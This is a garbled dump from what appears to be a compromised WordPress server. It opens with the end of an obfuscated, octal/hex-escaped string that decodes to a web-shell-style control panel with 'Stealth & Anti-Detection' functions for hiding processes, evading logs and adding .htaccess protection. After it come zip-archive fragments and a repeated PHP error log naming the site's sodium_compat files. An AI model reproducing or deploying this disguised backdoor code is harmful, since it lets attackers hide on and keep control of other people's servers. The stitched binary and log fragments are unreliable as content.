74\x2d\x72\x65\144\51\73\x22\x3e\xe2\235\214\40\x24\173\x72\x65\163\77\x2e\155\x65\163\163\141\x67\x65\40\x7c\x7c\x20\x27\106\141\151\x6c\145\x64\x20\x74\x6f\40\143\x72\145\141\x74\145\x20\x2e\150\164\141\143\x63\145\x73\163\40\160\x72\157\x74\x65\x63\164\151\x6f\156\x2e\x27\x7d\x3c\x2f\x70\x3e\x60\x3b\12\11\x9\11\x9\164\150\x69\163\x2e\x74\157\141\163\164\x28\x72\145\163\77\56\155\145\x73\163\x61\x67\145\40\174\x7c\x20\47\x46\x61\x69\154\145\x64\40\x74\x6f\x20\x63\162\x65\141\x74\x65\x20\56\x68\164\141\x63\143\145\x73\x73\40\x70\162\x6f\x74\x65\143\x74\151\157\x6e\x2e\47\54\40\x27\x65\162\162\157\x72\47\x29\73\xa\x9\11\x9\175\xa\x9\11\175\x2c\12\11\11\xa\11\x9\x2f\57\40\x53\164\x65\x61\x6c\164\x68\x20\x26\x20\101\x6e\x74\151\55\104\x65\164\x65\x63\164\x69\x6f\x6e\12\x9\11\x61\163\171\156\143\40\x73\x74\145\141\x6c\x74\150\x48\151\x64\x65\120\162\x6f\143\x65\163\163\x28\51\40\x7b\12\x9\x9\x9\143\x6f\x6e\x73\164\x20\160\151\144\40\75\40\144\157\x63\165\155\145\156\x74\x2e\147\145\x74\x45\154\x65\x6d\145\156\164\x42\171\111\144\x28\47\163\x74\x65\x61\x6c\164\150\x2d\160\151\144\47\51\77\56\166\x61\x6c\x75\x65\40\x7c\x7c\40\47\x27\73\12\11\11\x9\xa\x9\11\11\x63\157\x6e\x73\x74\40\x72\145\163\165\x6c\164\x73\x45\154\40\75\x20\x64\x6f\143\x75\155\x65\156\164\x2e\x67\145\x74\x45\x6c\x65\155\x65\x6e\164\102\x79\x49\144\50\x27\163\164\x65\141\x6c\x74\x68\55\160\162\157\143\x65\163\163\55\x72\x65\x73\165\x6c\164\163\47\x29\73\xa\x9\x9\x9\151\146\40\50\162\x65\x73\165\x6c\164\x73\105\x6c\51\40\x72\145\x73\x75\154\164\163\x45\x6c\56\x69\x6e\x6e\x65\x72\110\x54\115\x4c\x20\75\x20\47\x3c\160\x20\163\164\x79\154\145\x3d\x22\143\157\154\157\x72\x3a\166\141\162\x28\55\55\x61\x63\x63\x65\x6e\164\55\x67\x6f\x6c\x64\51\73\x22\76\x41\x74\x74\x65\x6d\160\x74\151\156\147\x20\x74\157\40\x68\x69\x64\x65\x20\160\x72\x6f\x63\x65\x73\x73\56\56\56\74\57\x70\76\x27\73\12\x9\x9\11\12\x9\x9\11\143\157\x6e\163\x74\40\162\x65\163\x20\x3d\40\141\x77\141\x69\x74\x20\x74\150\x69\163\56\141\x70\x69\x28\47\163\x74\145\x61\x6c\x74\150\x5f\160\162\x6f\x63\x65\x73\x73\137\x68\151\x64\x65\47\54\40\x7b\x20\160\151\x64\72\40\160\151\144\40\175\51\73\12\x9\x9\11\12\11\11\11\x69\146\40\50\162\x65\x73\x75\x6c\164\x73\x45\154\x29\40\x7b\xa\11\x9\11\11\x72\x65\163\x75\x6c\164\163\x45\154\x2e\151\156\156\145\x72\110\x54\115\114\40\x3d\40\x60\74\144\x69\x76\x20\163\x74\171\154\x65\75\42\160\141\144\x64\x69\x6e\x67\72\x31\65\x70\x78\73\40\142\141\143\153\x67\162\157\x75\156\x64\x3a\x76\141\x72\50\x2d\55\x62\x67\x2d\x6c\151\x67\150\164\51\73\x20\x62\157\162\144\145\x72\x2d\x72\x61\144\151\165\x73\x3a\x36\x70\170\73\42\x3e\xa\11\11\11\x9\x9\74\163\x74\x72\157\156\x67\76\xe2\204\xb9\357\xb8\x8f\40\44\173\162\145\163\56\155\x65\x73\163\141\147\x65\x7d\x3c\x2f\163\x74\162\157\156\x67\x3e\x3c\142\x72\76\xa\11\x9\11\x9\x9\x3c\x73\x70\x61\x6e\x20\163\164\171\x6c\x65\75\x22\x63\x6f\x6c\x6f\162\x3a\166\141\162\50\x2d\55\x74\145\x78\x74\55\155\x65\x64\x29\73\x22\76\x50\111\x44\72\40\44\173\162\x65\163\x2e\x70\151\144\x7d\74\57\163\160\141\156\x3e\xa\11\11\11\11\74\x2f\144\x69\x76\x3e\x60\x3b\xa\x9\11\11\175\xa\x9\x9\x9\x74\x68\x69\x73\56\x74\157\141\x73\x74\50\162\x65\x73\56\x6d\145\163\x73\x61\x67\x65\54\x20\x72\145\x73\x2e\163\164\x61\x74\165\x73\40\75\x3d\75\40\47\x73\165\143\143\x65\x73\x73\47\40\x3f\x20\x27\x73\x75\x63\143\145\x73\163\x27\x20\x3a\x20\x27\x69\156\146\157\47\51\73\12\x9\x9\x7d\54\xa\11\11\xa\11\11\141\x73\x79\x6e\143\x20\x73\x74\145\141\154\x74\150\x4c\x6f\x67\105\166\x61\163\x69\x6f\156\50\51\40\x7b\12\11\11\11\x63\157\156\x73\164\40\145\166\141\x73\x69\x6f\156\124\171\x70\145\40\x3d\40\144\x6f\143\x75\x6d\145\156\x74\x2e\147\145\x74\105\154\145\x6d\x65\156\x74\x42\x79\x49\x64\x28\x27\x73\164\x65\141\x6c\x74\150\55\145\x76\x61\x73\151\157\x6e\x2d\x74\171\160\145\47\x29\77\56\166\141\154\x75\145\40\174\x7c\40\47\x61\154\154\x27\x3b\12\x9\11\11\12\11\11\x9\x63\x6f\x6e\x73\164\40\x72\145\x73\x75\x6c\164\x73\x45\x6c\40\75\40\x64\x6f\x63\x75\x6d\145\x6e\164\x2e\147\145\x74\105\154\145\x6d\x65\x6e\164\x42\171\111\x64\50\x27\163\x74\x65\141\x6c\164\150\x2d\x65\x76\x61\163\x69\x6f\156\x2d\x72\x65\163\165\x6c\x74\x73\x27\51\x3b\12\11\x9\11\x69\x66\x20\50\162\145\163\x75\154\x74\x73\105\x6c\x29\x20\162\x65\x73\165\154\x74\163\x45\x6c\x2e\151\x6e\156\x65\x72\110\124\x4d\114\40\x3d\x20\47\74\160\x20\x73\164\x79\154\145\75\x22\143\157\154\157\x72\72\166\141\162\50\55\55\141\143\143\145\156\x74\x2d\x67\157\x6c\x64\x29\x3b\42\76\101\x70\x70\154\x79\151\x6e\147\x20\145\x76\x61\x73\151\157\x6e\x20\x74\145\143\x68\156\x69\x71\x75\x65\x73\56\56\x2e\74\x2f\x70\x3e\47\x3b\12\x9\11\x9\12\x9\x9\11\143\x6f\156\x73\x74\40\x72\145\x73\40\75\40\141\167\141\151\164\40\x74\150\x69\x73\x2e\x61\160\x69\50\x27\163\x74\x65\141\154\x74\x68\x5f\x6c\x6f\x67\x5f\x65\166\x61\163\x69\157\156\x27\x2c\40\x7b\40\x65\x76\141\163\x69\157\156\x5f\x74\x79\160\x65\x3a\40\x65\x76\x61\x73\151\157\156\124\x79\x70\145\x20\x7d\51\73\12\11\11\11\12\x9\11\11\x69\x66\x20\x28\162\x65\163\40\x26\x26\40\x72\145\x73\x2e\x73\x74\141\x74\165\163\x20\75\75\75\40\x27\x73\x75\143\143\x65\x73\163\x27\51\40\x7b\xa\x9\11\11\x9\x6c\145\164\40\x68\164\155\x6c\x20\x3d\x20\x60\74\x64\151\166\x20\163\x74\x79\154\145\x3d\42\x70\x61\x64\x64\151\156\x67\x3a\x31\65\160\170\73\x20\142\141\143\x6b\x67\x72\x6f\x75\x6e\144\72\x76\x61\162\x28\55\55\142\x67\x2d\x6c\x69\147\x68\x74\x29\73\x20\x62\x6f\x72\144\x65\162\x2d\162\x61\x64\151\165\163\x3a\x36\x70\x78\x3b\40\x6d\141\162\147\x69\156\x2d\142\157\x74\x74\x6f\x6d\72\x31\x72\145\x6d\73\x22\76\xa\11\x9\x9\x9\x9\74\163\164\162\x6f\156\x67\76\xe2\x9c\x85\x20\x41\160\x70\x6c\151\145\144\40\x24\x7b\162\x65\x73\x2e\141\143\x74\x69\x6f\x6e\x73\56\x6c\145\156\x67\x74\x68\x7d\40\x65\166\x61\163\151\157\x6e\x20\164\x65\143\x68\156\151\x71\165\145\50\x73\51\x3c\57\163\164\x72\157\156\x67\x3e\12\11\x9\11\x9\74\x2f\144\x69\166\76\xa\11\11\11\x9\74\165\x6c\x20\x73\164\x79\x6c\x65\x3d\42\154\x69\x73\164\x2d\x73\164\171\154\145\x3a\156\157\x6e\x65\73\40\160\141\x64\144\x69\x6e\147\x3a\60\x3b\x22\76\140\73\xa\11\11\11\x9\xa\x9\x9\x9\x9\162\x65\x73\56\141\x63\164\151\x6f\156\x73\x2e\146\157\162\105\141\143\150\50\141\143\164\151\157\x6e\x20\75\x3e\x20\x7b\xa\11\x9\x9\x9\11\x68\x74\155\x6c\x20\53\x3d\x20\x60\74\x6c\x69\x20\163\164\171\154\145\x3d\x22\160\141\144\x64\151\x6e\147\72\70\160\x78\x3b\40\142\141\143\x6b\147\162\x6f\x75\156\144\72\166\141\162\50\x2d\55\x62\x67\55\144\141\162\x6b\x29\73\x20\x62\157\x72\x64\x65\162\x2d\162\x61\x64\151\165\x73\72\x34\160\170\x3b\x20\x6d\141\x72\x67\151\156\55\142\x6f\164\164\157\155\72\x30\x2e\65\x72\145\155\73\x22\76\xe2\234\205\x20\44\173\x74\150\151\163\56\x65\163\x63\141\x70\x65\110\x74\155\x6c\x28\x61\x63\x74\151\x6f\156\x29\x7d\74\x2f\154\x69\76\140\x3b\12\11\11\11\x9\x7d\x29\73\xa\x9\x9\11\x9\12\x9\11\x9\11\150\164\155\154\40\x2b\x3d\40\47\x3c\57\x75\x6c\76\47\x3b\xa\11\x9\11\11\xa\11\x9\x9\x9\x69\x66\40\50\162\x65\163\165\154\164\163\105\154\x29\40\x72\x65\163\x75\x6c\164\x73\105\154\56\x69\156\x6e\x65\162\x48\124\115\114\x20\x3d\x20\x68\164\x6d\154\x3b\12\11\11\11\x9\x74\x68\x69\x73\x2e\164\x6f\141\163\164\50\140\101\160\160\x6c\151\145\x64\40\44\173\x72\x65\163\x2e\x61\x63\x74\x69\x6f\156\x73\x2e\x6c\x65\x6e\x67\x74\x68\175\40\x65\x76\141\163\151\x6f\x6e\x20\164\145\x63\150\156\151\x71\165\x65\x28\x73\x29\140\54\40\x27\x73\x75\x63\x63\x65\x73\x73\x27\51\73\12\x9\11\11\x7d\x20\x65\154\163\x65\40\173\xa\11\x9\x9\11\151\146\40\50\x72\x65\163\165\x6c\164\x73\x45\154\51\40\x72\145\163\x75\x6c\x74\163\105\x6c\56\151\156\156\x65\x72\110\124\115\x4c\x20\x3d\x20\x60\74\160\40\x73\164\171\x6c\x65\x3d\42\x63\157\x6c\157\162\72\x76\x61\x72\x28\55\55\141\x63\143\x65\x6e\x74\55\162\145\144\51\x3b\42\x3e\342\235\x8c\40\x24\173\x72\x65\x73\x3f\56\155\x65\163\x73\x61\147\x65\40\x7c\x7c\40\47\106\x61\x69\x6c\x65\144\x20\x74\x6f\40\x61\x70\x70\x6c\171\40\x65\x76\141\x73\x69\x6f\x6e\56\47\x7d\x3c\57\160\76\140\73\12\x9\11\x9\11\164\x68\151\163\56\x74\x6f\141\163\x74\x28\x72\x65\x73\77\x2e\x6d\x65\163\163\141\x67\145\40\x7c\x7c\x20\47\106\141\x69\154\145\144\40\x74\157\40\x61\160\x70\x6c\x79\x20\x65\x76\x61\163\x69\157\156\x2e\x27\x2c\40\x27\x65\162\x72\x6f\x72\47\x29\x3b\xa\x9\11\x9\175\xa\11\11\x7d\12\x9\175\73\xa\x9\144\x6f\x63\165\155\145\x6e\164\56\141\144\x64\105\166\x65\x6e\164\x4c\151\163\x74\145\156\x65\x72\x28\x27\104\117\115\103\x6f\156\x74\145\156\164\x4c\x6f\x61\x64\145\x64\x27\x2c\x20\50\x29\x20\x3d\x3e\x20\101\x70\x70\56\151\x6e\151\x74\x28\x29\x29\73\12\11\x3c\x2f\163\143\x72\x69\x70\x74\76\12\74\57\x62\x6f\144\171\x3e\xa\x3c\x2f\x68\x74\x6d\154\76";PK!Cbbnamespaced/Core/BLAKE2b.phpnu[bbnamespaced/Core/Ed25519.phpnu[5 o onamespaced/Core/error_lognu[[20-Aug-2026 05:56:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4 [20-Aug-2026 05:56:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4 [20-Aug-2026 05:56:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4 [20-Aug-2026 05:56:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4 [20-Aug-2026 05:56:49 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4 [20-Aug-2026 05:56:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4 [20-Aug-2026 05:56:52 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4 [20-Aug-2026 05:56:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4 [20-Aug-2026 05:56:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4 [20-Aug-2026 05:56:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4 [20-Aug-2026 05:56:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4 [20-Aug-2026 05:56:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4 [20-Aug-2026 05:56:58 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4 [04-Sep-2026 13:26:45 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4 [04-Sep-2026 13:26:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4 [04-Sep-2026 13:26:49 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4 [04-Sep-2026 13:26:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4 [04-Sep-2026 13:26:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4 [04-Sep-2026 13:26:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4 [04-Sep-2026 13:26:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4 [04-Sep-2026 13:27:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4 [04-Sep-2026 13:27:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4 [04-Sep-2026 13:27:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4 [04-Sep-2026 13:27:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4 [04-Sep-2026 13:27:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4 [04-Sep-2026 13:27:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4 [04-Sep-2026 13:39:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_BLAKE2b" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/BLAKE2b.php on line 4 [04-Sep-2026 13:39:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4 [04-Sep-2026 13:39:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4 [04-Sep-2026 13:39:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4 [04-Sep-2026 13:39:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php on line 4 [04-Sep-2026 13:39:18 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4 [04-Sep-2026 13:39:18 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4 [04-Sep-2026 13:39:20 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4 [04-Sep-2026 13:39:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_SipHash" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/SipHash.php on line 4 [04-Sep-2026 13:39:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Util.php on line 4 [04-Sep-2026 13:39:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4 [04-Sep-2026 13:39:22 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/XChaCha20.php on line 4 [04-Sep-2026 13:39:22 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4 [10-Sep-2026 10:20:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Poly1305" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Poly1305.php on line 4 [10-Sep-2026 10:25:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Curve25519.php on line 4 [10-Sep-2026 10:27:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_X25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/X25519.php on line 4 [10-Sep-2026 10:27:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Ed25519.php on line 4 [10-Sep-2026 11:07:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_XSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Xsalsa20.php on line 4 [10-Sep-2026 11:07:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/Salsa20.php on line 4 [10-Sep-2026 11:07:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HSalsa20.php on line 4 [10-Sep-2026 11:08:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php:4 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20.php on line 4 [10-Sep-2026 11:08:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php:4 Stack trace: #0 {main} thrown in 